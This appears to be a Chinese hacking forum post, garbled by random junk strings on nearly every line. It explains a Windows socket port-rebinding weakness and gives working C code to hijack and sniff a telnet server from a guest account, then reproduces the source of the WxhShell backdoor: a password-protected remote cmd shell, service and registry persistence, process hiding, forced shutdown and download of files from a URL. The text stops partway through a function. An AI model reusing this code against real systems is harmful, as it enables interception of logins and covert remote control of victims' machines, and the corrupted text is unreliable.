在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^qD$z=z- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(c
&mCJN sI^Xb@'09$ saddr.sin_family = AF_INET;
K}MK<2vU <;Zmjeb+# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cP_.&!T JHTSUq bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o="M -fHy-Oh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8&`LYdzt u frL<]A 这意味着什么?意味着可以进行如下的攻击:
pohp&Tcm }oGA-Qc}B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y ~!Zg}o 'Xq|Kf ( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o]M5b;1 )ea>% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8i#2d1O O*)Vhw'pK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f5VLw`m}.8 y''z5[' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]a*d# 0*D$R`$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%.-4!vj \$T(t/$9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T&u5ki4NE ofw3S|F6 #include
qm8B8&- #include
::{Q1F #include
2?ez,*-[ #include
UIN<2F_ DWORD WINAPI ClientThread(LPVOID lpParam);
]{mPh\ int main()
!/i{l {
9c,'k#k WORD wVersionRequested;
YvyNHW& DWORD ret;
Jgd'1'FOs WSADATA wsaData;
++Ts BOOL val;
8_B4?` k SOCKADDR_IN saddr;
;dZZ;#k% SOCKADDR_IN scaddr;
Mc_YPR:C int err;
9u}Hmb SOCKET s;
3E $f) SOCKET sc;
Q%tXQP .r int caddsize;
W^LY'ypT HANDLE mt;
( !fKNia@S DWORD tid;
:Cs4NF wVersionRequested = MAKEWORD( 2, 2 );
BdblLUGK# err = WSAStartup( wVersionRequested, &wsaData );
cZU=o\ if ( err != 0 ) {
Y}|X|!0x printf("error!WSAStartup failed!\n");
" h~Zu return -1;
CiLg]va }
`1{ZqRFQ saddr.sin_family = AF_INET;
MSqVlj q" sed] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]e>w}L(gV %JD,$pPs saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
dkBIx$t saddr.sin_port = htons(23);
^{;oM^Q' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z<y I\1 {
[KaAXv
.X printf("error!socket failed!\n");
P& -Qc return -1;
V0.vQ/ }
jaMjZp;{( val = TRUE;
as4;: //SO_REUSEADDR选项就是可以实现端口重绑定的
dx{bB%?Y\= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u^bidd6JRn {
(G4at2YLd printf("error!setsockopt failed!\n");
Ed,~1GanY return -1;
{19PL8B~} }
YPK(be_|I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+tIF
h' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>xYpNtEs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
m6&~HfwN 2E/"hQw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l2rd9-T {
#;qdY[v ret=GetLastError();
i&66Fi1 printf("error!bind failed!\n");
a85$K$b> return -1;
" H&W}N }
[-k listen(s,2);
n :\~'+$ while(1)
xH(lm2kvT {
_j/<{vS y caddsize = sizeof(scaddr);
#TX/aKr: //接受连接请求
E+R1 !. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)Y6 + if(sc!=INVALID_SOCKET)
mD0f<gJ1 {
ith
3=`3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Bp`] if(mt==NULL)
A8fOQ {
;F!5%}OcL% printf("Thread Creat Failed!\n");
iWB=sL&p break;
aS{n8P6vW }
(*nT(Adk }
[.'|_l CloseHandle(mt);
&(G\[RWp\ }
gk[aM~p closesocket(s);
3kIN~/<R+7 WSACleanup();
+N9X/QFKV return 0;
?{|q5n }
6?mibvK DWORD WINAPI ClientThread(LPVOID lpParam)
w\}ieI8J {
% X+:o]T SOCKET ss = (SOCKET)lpParam;
~'iHo]9O SOCKET sc;
'()xHEGl3 unsigned char buf[4096];
}=UHbU.n~! SOCKADDR_IN saddr;
E$:*NSXj long num;
W*4-.*U8a DWORD val;
o"Euwh!!
DWORD ret;
O=&0 H|B //如果是隐藏端口应用的话,可以在此处加一些判断
m!4ndO;0vh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ins`l saddr.sin_family = AF_INET;
)}]g]
g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S)k*?dQ##R saddr.sin_port = htons(23);
I<4Pur>" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gsvuE {
oMD>Ywc- printf("error!socket failed!\n");
D},>mfzF return -1;
5k3n\sqZA }
<fjX[l<Uz val = 100;
{3p4:*} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Av$^ {
7 60Y$/Wz ret = GetLastError();
?m=N]!n return -1;
1k5Who@ }
:q7Wy&ow if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k\YG^I {
UcDS9f_87 ret = GetLastError();
*_{j=sd return -1;
[b<oDX# }
|zNX=mAV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_AYK435>N {
o\<ULW* printf("error!socket connect failed!\n");
*@r/5pM2} closesocket(sc);
%~JJ. & closesocket(ss);
2c,9e` return -1;
vNY{j7l/W }
9J*\T(W while(1)
Gg3,:A_ w {
y$F'(b|) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gX}8#O.K$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ae^~Cz1qz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Co_A/ num = recv(ss,buf,4096,0);
gQelD6c if(num>0)
?|C2*?hZ+ send(sc,buf,num,0);
%lx!.G else if(num==0)
@* jz
o break;
b8VTo lJ num = recv(sc,buf,4096,0);
"a>q`RaIQ" if(num>0)
5 +YH.4R send(ss,buf,num,0);
]^n7
else if(num==0)
N1S{suic break;
vq0Tk
bzs }
gA+qC7=p$ closesocket(ss);
&yTqZ*Yuk closesocket(sc);
UA0Bzoky; return 0 ;
Lpz>>} }
S6M}WR^, ?.-wnz Mj?`j_X ==========================================================
/-qNh>v4 E *6Cw
l 下边附上一个代码,,WXhSHELL
k&q;JyUi kT66;Y[ ==========================================================
B=T'5& Rz:]\jcIT/ #include "stdafx.h"
=^f<v_L gNrjo= #include <stdio.h>
K Hu+9eX #include <string.h>
f#"J]p #include <windows.h>
GL0L!="! #include <winsock2.h>
EHIF>@TZ #include <winsvc.h>
wn, KY$/ #include <urlmon.h>
DE8n+Rm #PW9:_BE #pragma comment (lib, "Ws2_32.lib")
#ut #pragma comment (lib, "urlmon.lib")
]e^&aR5f" Jk11fn;\> #define MAX_USER 100 // 最大客户端连接数
kGS;sB #define BUF_SOCK 200 // sock buffer
qu@~g cE #define KEY_BUFF 255 // 输入 buffer
xY8$I6 t]g-CW3 #define REBOOT 0 // 重启
J26V nK #define SHUTDOWN 1 // 关机
A_ZY=jP :$|HNeDO #define DEF_PORT 5000 // 监听端口
9Cp-qA%t )5JFfp)# #define REG_LEN 16 // 注册表键长度
|?xN\O^#} #define SVC_LEN 80 // NT服务名长度
t%FwXaO# G]tn i // 从dll定义API
]t,BMu=% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^Za-`8#`L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@6sqMw} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|\t-g"~sN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KYhw OGN b<ZIWfs // wxhshell配置信息
9(7-{,c struct WSCFG {
_p/UsJ int ws_port; // 监听端口
1Z2HUzqh. char ws_passstr[REG_LEN]; // 口令
t+G#{n int ws_autoins; // 安装标记, 1=yes 0=no
A#<? 4& char ws_regname[REG_LEN]; // 注册表键名
|O+H[;TB6 char ws_svcname[REG_LEN]; // 服务名
7#a-u<HF" char ws_svcdisp[SVC_LEN]; // 服务显示名
F4z{LhZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
\fdv]f char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`r':by0M int ws_downexe; // 下载执行标记, 1=yes 0=no
D|p9qe5% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9};8?mucr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_,0 FUb\e-Q= };
Y%^w:|f^ !zpRrx_ // default Wxhshell configuration
k FD;i struct WSCFG wscfg={DEF_PORT,
MYvY]Jx3 "xuhuanlingzhe",
'ya{9EdlT 1,
yYYSeH "Wxhshell",
EGS)b "Wxhshell",
(gU!=F?#m "WxhShell Service",
T/~f~Z z "Wrsky Windows CmdShell Service",
Bahm]2 "Please Input Your Password: ",
j0aXyLNX 1,
k5e;fA/w "
http://www.wrsky.com/wxhshell.exe",
]^7@}Ce_ "Wxhshell.exe"
^|(LAjet };
wv1iSfW 5m 4P\y^a // 消息定义模块
=R|HV;9 h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]|ag char *msg_ws_prompt="\n\r? for help\n\r#>";
,PW'#U: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i)#dWFDTv char *msg_ws_ext="\n\rExit.";
P>D)7V9Hh char *msg_ws_end="\n\rQuit.";
O+]ZyHnB char *msg_ws_boot="\n\rReboot...";
R|, g< char *msg_ws_poff="\n\rShutdown...";
sb*G!8j char *msg_ws_down="\n\rSave to ";
!;{7-~ HM1Fz\Sf char *msg_ws_err="\n\rErr!";
q`7PhA char *msg_ws_ok="\n\rOK!";
:\c ^*K(9 ie95rZp char ExeFile[MAX_PATH];
iHf $ int nUser = 0;
&h)yro HANDLE handles[MAX_USER];
6;d*r$0Fc int OsIsNt;
4l'fCZhA} ZvX*t)VjTz SERVICE_STATUS serviceStatus;
]Q1yNtN SERVICE_STATUS_HANDLE hServiceStatusHandle;
_6hQ %hv8 ;`{H!w[D // 函数声明
ueWEc^_> int Install(void);
3(N$nsi int Uninstall(void);
NwvC[4 int DownloadFile(char *sURL, SOCKET wsh);
,/2Vt/lt int Boot(int flag);
xm~`7~nFR void HideProc(void);
An0|[ uWH int GetOsVer(void);
\?-<4Bc@ int Wxhshell(SOCKET wsl);
4k1xy## void TalkWithClient(void *cs);
o5PO=AN int CmdShell(SOCKET sock);
X`K<>0.N int StartFromService(void);
2@],ZLa int StartWxhshell(LPSTR lpCmdLine);
ML
9' | )2o?#8J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O8r|8]o VOID WINAPI NTServiceHandler( DWORD fdwControl );
pah'>dAL b_taC^-l // 数据结构和表定义
T&bYa`f] SERVICE_TABLE_ENTRY DispatchTable[] =
Dml;#'IF3 {
#:_Kws>+ {wscfg.ws_svcname, NTServiceMain},
G~a ZJ, {NULL, NULL}
Dx?,=~W9 };
LonxT&"!D Bkc4TO // 自我安装
>Cp0.A:UC# int Install(void)
uH^-R_tQ {
jB2[( char svExeFile[MAX_PATH];
v{4$D~I HKEY key;
g:@#@1rB6 strcpy(svExeFile,ExeFile);
_|2:_N= <xm7qmqI // 如果是win9x系统,修改注册表设为自启动
%wy.TN if(!OsIsNt) {
h;"4+uw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?l{nk5,?-Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C{rcs' RegCloseKey(key);
$a]`nLUa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2F.;;Ab RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ADzhNfS RegCloseKey(key);
q?yVR3]M return 0;
H*R"ntI?w }
Bsvr?|L\ }
IEi^kJflU }
U7F!Z(
9 else {
B9z?mt'|r) JH9J5%sp // 如果是NT以上系统,安装为系统服务
S%>]q
s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0s[Hkhls if (schSCManager!=0)
+ &Eqk {
iYoMO["X SC_HANDLE schService = CreateService
(w3YvG. (
X+9>A.92 schSCManager,
ES7s1O$# wscfg.ws_svcname,
ouQ T wscfg.ws_svcdisp,
M6jy\<a SERVICE_ALL_ACCESS,
~36!?&eA8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
d7upz]K9g SERVICE_AUTO_START,
q|(HsLs SERVICE_ERROR_NORMAL,
tyFzSrfc svExeFile,
;6$jf:2m NULL,
KZE,bi:~ NULL,
rb.N~ NULL,
$UWZDD NULL,
6bC3O4Rw NULL
_`T_">9r );
}my`K if (schService!=0)
S,UDezxg {
5t]H?b8 CloseServiceHandle(schService);
a1lh-2xX CloseServiceHandle(schSCManager);
q0vQa strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,f>k%_U} strcat(svExeFile,wscfg.ws_svcname);
Y:[u1~a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u*`GiZAO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8lrpve RegCloseKey(key);
&h/Xku&0 return 0;
:"c*s4 }
TvbE2Q;/UL }
DvvK^+-~ CloseServiceHandle(schSCManager);
g2_"zDiw2 }
onzxx4bax }
f+!(k)GWd k9!{IScq return 1;
Fx.=#bVX7 }
Dp9+HA9t sO@Tf\d // 自我卸载
UaeXY+O int Uninstall(void)
:vbW {
O\r0bUPE HKEY key;
{P_.~0pc* 6i/(5 nQ if(!OsIsNt) {
26h21Z16q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eSq.GtI RegDeleteValue(key,wscfg.ws_regname);
b\2
ds, RegCloseKey(key);
%'pgGC"| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I!K6o.|1 RegDeleteValue(key,wscfg.ws_regname);
3!]rmZ-W RegCloseKey(key);
?=Kduef return 0;
> ~O.@| }
Gd85kY@w7 }
gcT%c|. }
?Ir:g=RP* else {
;4\;mmLVk lThB2/tV\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<e6#lFQqK if (schSCManager!=0)
O=7CMbS3 {
|sE'XT4ag SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WpvhTX if (schService!=0)
w}L[u
r;I_ {
S
f#
R0SA if(DeleteService(schService)!=0) {
9->if/r,o CloseServiceHandle(schService);
p`qgrI` CloseServiceHandle(schSCManager);
?:0Jav return 0;
sYA1\YIii }
BI@[\aRLQ CloseServiceHandle(schService);
$I?"lky }
dR]m8mdqc1 CloseServiceHandle(schSCManager);
pQB."[n }
h<QY5=SF }
V0mn4sfs ]`WJOx4 return 1;
Mi_$">1-W }
Nh+ H 9 pA4xbr 2 // 从指定url下载文件
%W S+(0*1 int DownloadFile(char *sURL, SOCKET wsh)
JBZ@'8eqi] {
WcGS9`m/ HRESULT hr;
@=u3ZVD char seps[]= "/";
ns4,@C$ char *token;
I>$&-i char *file;
OY({.uV dX char myURL[MAX_PATH];
FS1z`wYP char myFILE[MAX_PATH];
E]r?{t`] owv[M6lbD strcpy(myURL,sURL);
H\[W/" token=strtok(myURL,seps);
wMN]~|z> while(token!=NULL)
&K,i
f {
R4d=S4i file=token;
Tlr v={ token=strtok(NULL,seps);
Xch~
1K }
.=;
; )V9bI( v GetCurrentDirectory(MAX_PATH,myFILE);
lp8v0e4 strcat(myFILE, "\\");
dj%!I:Q>u strcat(myFILE, file);
W2!+z{:m send(wsh,myFILE,strlen(myFILE),0);
A3*!"3nU send(wsh,"...",3,0);
X@FN|Rdh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8 Fbo3 if(hr==S_OK)
hi[pVk~B) return 0;
<~=Vg else
a8Wwq?@ return 1;
xgtR6E^k yB6?`3A: }
-UT}/:a HxI"
8A // 系统电源模块
c:.eGH_f int Boot(int flag)
&%Tj/ Qx {
`M6)f?|$. HANDLE hToken;
cB&:z)i4 TOKEN_PRIVILEGES tkp;
oP.7/*p ddR>7d}N if(OsIsNt) {
Z3!`J& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ek}A]zC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9N3eN tkp.PrivilegeCount = 1;
tq?!-x+> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TL#3;l^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+"VP-s0 if(flag==REBOOT) {
)`D:F>p* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2J;g{95z return 0;
i!Ga5 v8n: }
<a+Z;> else {
QmIBaMI# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z?z.?ar return 0;
?
=+WRjF }
9cm#56 }
{(}By/_ else {
Z/J y'$x if(flag==REBOOT) {
#$y?v%^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T[A69O]v return 0;
:~^(g$Z }
L/^I*p, else {
?z
u8)U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>o,TZc\ return 0;
"zy7C*)>r }
I<tm"?q0 }
PUX;I0Cf Y
nZiTe@ return 1;
BsJC0I( }
n'w.;
q ReeH@.74 // win9x进程隐藏模块
:\U{_@?`% void HideProc(void)
g=o4Q<
#^y {
@s^-.z F4{IEZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wlmRe`R if ( hKernel != NULL )
^Zp>G{QL{ {
dcT80sOC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j
<RrLn_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_<2E"PrT FreeLibrary(hKernel);
0qT%!ku& }
?G&ikxl c[Zje7 @ return;
%u5]>]M+ }
Om {'1 dC4'{n|7 // 获取操作系统版本
y* h<MQ int GetOsVer(void)
6S\8$ {
{FTqu. OSVERSIONINFO winfo;
@xZR9Z8]L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
RCLeA=/N@0 GetVersionEx(&winfo);
4v|W-h"K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u>/ TE return 1;
61
~upQaR else
g$o&Udgs return 0;
BL58] P84 }
xAP+FWyV (_{yB[z>` // 客户端句柄模块
'[O;zJN; int Wxhshell(SOCKET wsl)
uRe'%?W {
y18Y:)DkL SOCKET wsh;
&G$Ucc
` struct sockaddr_in client;
KCDE{za DWORD myID;
P
L+sR3bR s&J]zb` while(nUser<MAX_USER)
R_xRp&5 {
/|#fejPh int nSize=sizeof(client);
t );/'3| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Vs{|xG7WD if(wsh==INVALID_SOCKET) return 1;
v74&BL]a 0Fr?^3h handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G9@0@2aY8 if(handles[nUser]==0)
*k>n<p3dd closesocket(wsh);
Q)z8PQl O else
<_KIK nUser++;
-n5)w*b, }
VOh4#%Vj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@$K"o7+] F1Bq$*'N$w return 0;
y L~W.H }
-1@<=jX3_ $
o#V# // 关闭 socket
`pZm?}K void CloseIt(SOCKET wsh)
fLAw12;^ {
;P&OX5~V closesocket(wsh);
N$:8,9.z nUser--;
w"&n?L ExitThread(0);
eGbGw }
@gXx1hEg b*Q&CL // 客户端请求句柄
GNJj=1Lsd void TalkWithClient(void *cs)
R_S.tT! {
?#Q #u|~ lCHO;7YHX SOCKET wsh=(SOCKET)cs;
*siFj
CN< char pwd[SVC_LEN];
-+-_I*( char cmd[KEY_BUFF];
<yg F( char chr[1];
&XUiKnNW int i,j;
tIS<U(N; QnX(V[ while (nUser < MAX_USER) {
L\z~uo3: K)k<Rh[< if(wscfg.ws_passstr) {
VTHH&$ZNq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s=/v';5J2! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
57'4ljvYi //ZeroMemory(pwd,KEY_BUFF);
2jCf T>`3 i=0;
KdbHyg<4 while(i<SVC_LEN) {
H~z`]5CN PRE|+=w$ // 设置超时
6Sn .I1Wy fd_set FdRead;
QUQ'3 struct timeval TimeOut;
`,*5wBC FD_ZERO(&FdRead);
1D!<'`)AY FD_SET(wsh,&FdRead);
#
c^z&0B} TimeOut.tv_sec=8;
LC!bIm5' TimeOut.tv_usec=0;
}|5Pr(I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Fh9h,'
V" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4#hSJ(~7S gt w Q- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dzrio-QU~ pwd
=chr[0]; r^ ZEImjc
if(chr[0]==0xd || chr[0]==0xa) { D=&Me=$
pwd=0; K8Y=S12Ti
break; uOdl*| T?
} $\y'IQ%
i++; YQA,f#
} cD'V>[h
g_COp"!~9
// 如果是非法用户,关闭 socket *%@h(js
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O463I.XAP
} -v|qZ'
zjoq6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gEE\y{y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qv/=&_6
*<ewS8f*6
while(1) { *$ %a:q1U
XACm[NY_
ZeroMemory(cmd,KEY_BUFF); ]- QA'Lq
,:\|7 F
// 自动支持客户端 telnet标准 e'b(gD}
j=0; W-zP/]Dh
while(j<KEY_BUFF) { mF^v ~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N^:9Fz
cmd[j]=chr[0]; %&t<K3&Yh
if(chr[0]==0xa || chr[0]==0xd) { ,7K`[
cmd[j]=0; wz ~d(a#
break; sYf~c0${
} O]1(FWYy
j++; tT?cBg{
} vn"{I&L+w0
(0y~%J
// 下载文件 WlBc.kFck
if(strstr(cmd,"http://")) { R`^_(yn>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hSyql
if(DownloadFile(cmd,wsh)) N7R!C)!IL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6flIG&h
else i5,kd~%O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>e.~5;
} 9j:"J` '
else { C#Iybg
\&gB)czEO
switch(cmd[0]) { HEc+;O1<
XFV!S#yEZ
// 帮助 X1vd'>
case '?': { M{hg0/}sUW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qR+!l(
break; 54li^
} Dy8r 9
// 安装 cY. bO/&l
case 'i': { ><HE;cVg?
if(Install()) l}sjD[2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K1!j fp
else n3
r3"~i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j
Dv{/)
break; G?/DrnK:
} _D(rI#q
// 卸载 v^iL5y!
case 'r': { yFlm[K5YD
if(Uninstall()) 9.B
KI/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Px`!A EFd[
else Q9G;V]./
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xLH)P<^`C
break; CooQ>f
} Y,t={HiclX
// 显示 wxhshell 所在路径 ,0HRAmG
case 'p': { F,)%?<!I
char svExeFile[MAX_PATH]; j*TYoH1
strcpy(svExeFile,"\n\r"); __GqQUQ
strcat(svExeFile,ExeFile); VUR |OV%
send(wsh,svExeFile,strlen(svExeFile),0); *U=s\
break; pYZ6e_j1~
} 'o>B'$
// 重启 rK]Cr9W M
case 'b': { =CVB BuVy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }"!I[Ek> y
if(Boot(REBOOT)) q\p:X"j|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x-.?HS[
else { ILShd)]Rw
closesocket(wsh); RcU}}V
ExitThread(0); ' x35=@
} uurh??R
break; !6>~?gNd
} Hm'=aff6A
// 关机 O]Qd<%V'x
case 'd': { 3Xy-r=N. l
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); en*GM}<V
if(Boot(SHUTDOWN)) G`BU=Fi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4s{~r
else { (uZ&V7l
closesocket(wsh); wLJ:\_Jaf
ExitThread(0); "J8vjr1/
} Pax|x15
break; MC:@U~}6
} rJbf_]^
// 获取shell T\j{Bi5 \J
case 's': { @{tz:f
CmdShell(wsh); F Yzi~L
closesocket(wsh); %
*INT
ExitThread(0); NmJWU:W_@
break; hD*SpVIU
} P?B;_W+~A.
// 退出 LKOwxF#TKT
case 'x': { P0j8- I
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p(`6hWx
CloseIt(wsh); ~T,c"t2
break; Xe:jAkDp
} Df<xWd2
// 离开 (I{rLS!o,L
case 'q': { ZE=Sp=@)j
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +kO!Xc%P&
closesocket(wsh); (UvM@]B
WSACleanup(); q[W
0 N>
exit(1); :hFIl0$,"3
break; 4V i`* !
} 1A G<$d5U|
} >A"v ed8
} DiwxXqY
\T :i{.i
// 提示信息 6BbGA*%{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |G,tlchprs
} "(z5{z?S
} vyX\'r.~7
ADP%QTdqFJ
return; Et/\xL
} @As[k2
c[4i9I3v
// shell模块句柄 v>Yb/{A
int CmdShell(SOCKET sock) <[\`qX
{ v|%Z+w
STARTUPINFO si; '~[d=fwH
ZeroMemory(&si,sizeof(si)); e2t-4}
ww
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *|>d
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dDGgvi|[Mz
PROCESS_INFORMATION ProcessInfo; EwC{R`
char cmdline[]="cmd"; 33ef/MElD$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6dN7_v)
return 0; -vR5BMy=
} '\ey<}?5V
A1D^a,
// 自身启动模式 9m<jcxla$
int StartFromService(void) }v*G_}^
{ 4@n1Uk
typedef struct `c5"d
{ Q$1bWUS&
DWORD ExitStatus; X=!^] 3zH
DWORD PebBaseAddress; G{ sOR
DWORD AffinityMask; ^*8G8'k;$
DWORD BasePriority; 4C-jlm)V
